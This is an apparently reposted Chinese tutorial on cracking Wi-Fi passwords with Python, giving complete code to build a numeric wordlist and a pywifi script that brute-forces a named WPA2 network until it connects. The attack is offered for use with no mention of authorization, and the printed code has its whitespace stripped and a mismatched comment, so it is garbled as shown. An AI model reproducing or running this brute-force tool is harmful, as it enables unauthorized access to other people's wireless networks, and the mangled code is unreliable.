使用Python破解wifi密码的方法
这篇文章将为大家详细讲解有关使用Python破解wifi密码的方法,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。
首先要生成密码本
对于这个密码本就是我们常用的密码,一般是有数字、字母和符号组成。而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法。这里用到的库是itertools,没有的可以使用pip install itertools在DOS命令下安装,这个密码本生成很简单,就是几行代码而已。接下来我们一起分析。同样,我们先一步一步分析,后面会附上完整代码。
这里使用一个迭代器,就是我们需要生成密码所有的字符,可以是数字,符号和字母,我这里采用的是纯数字,是为了方便和节约时间。
words="1234567890"
下面就是生成密码的位数,但是这里要注意的是这个要考虑到电脑的配置,我生成七位的密码花了十多分钟,生成的文件大小约有85M,所以大家根据情况生成。
r=its.product(words,repeat=4)
因此生成的密码一般是字符串,而我之前生成的是单个的字符,所以我采用join,使用空格链接。
dic.write("".join(i))
好了,记下来就是完整的代码:
importitertoolsasits#迭代器words="1234567890"#生成密码本的位数,五位数,repeat=5r=its.product(words,repeat=3)#保存在文件中,追加dic=open("./password.txt","a")#i是元组foriinr:#jion空格链接dic.write("".join(i))dic.write("".join("\n"))print(i)dic.close()print("密码本已生成")
破解wifi密码
这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是Python3,所以各位看的时候需要注意这一点。接下来我们一步一步分析主要代码,后面同样附上完整的代码。对了,需要注意一点,就是电脑必须是要用无线网卡的。
首先我们需要判断电脑是否已经连接wifi,创建一个无线对象,获取无线网卡。
wifi=pywifi.PyWiFi()#获取无线网卡ifaces=wifi.interfaces()[0]print(ifaces)
使用这行代码就可以获取电脑无线网卡的名称:
print(ifaces.name())
要判断是否连接WiFi,我们需要导入一个常量库:
frompywifiimportconst
创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:
profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="jiayi"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wasprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP
删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0.
#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(3)ififaces.status()==const.IFACE_CONNECTED:returnTrueelse:returnFalse
接下来我们就需要一个密码本,然后采用只读的方式,一行一行读取,这里的密码本可以用我分享的这个,也用去网上下载一个常用wifi密码,只要是TXT文本就可以.
#密码本路径path="C:/Users/ASUS/Desktop/password.txt"#打开文件file=open(path,"r")whileTrue:try:#一行一行读取pad=file.readline()好了,接下来就是完整的代码.#coding:utf-8importpywififrompywifiimportconstimporttime#测试连接,返回链接结果defwifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()ifwifistatus==const.IFACE_DISCONNECTED:#创建WiFi连接文件profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="jiayi"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(3)ififaces.status()==const.IFACE_CONNECTED:returnTrueelse:returnFalseelse:print("已有wifi连接")#读取密码本defreadPassword():print("开始破解:")#密码本路径path="./password.txt"#打开文件file=open(path,"r")whileTrue:try:#一行一行读取pad=file.readline()bool=wifiConnect(pad)ifbool:print("密码已破解:",pad)print("WiFi已自动连接!!!")breakelse:#跳出当前循环,进行下一次循环print("密码破解中....密码校对:",pad)except:continuereadPassword()
关于使用Python破解wifi密码的方法就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若本站内容侵犯了原著者的合法权益,可联系本站删除。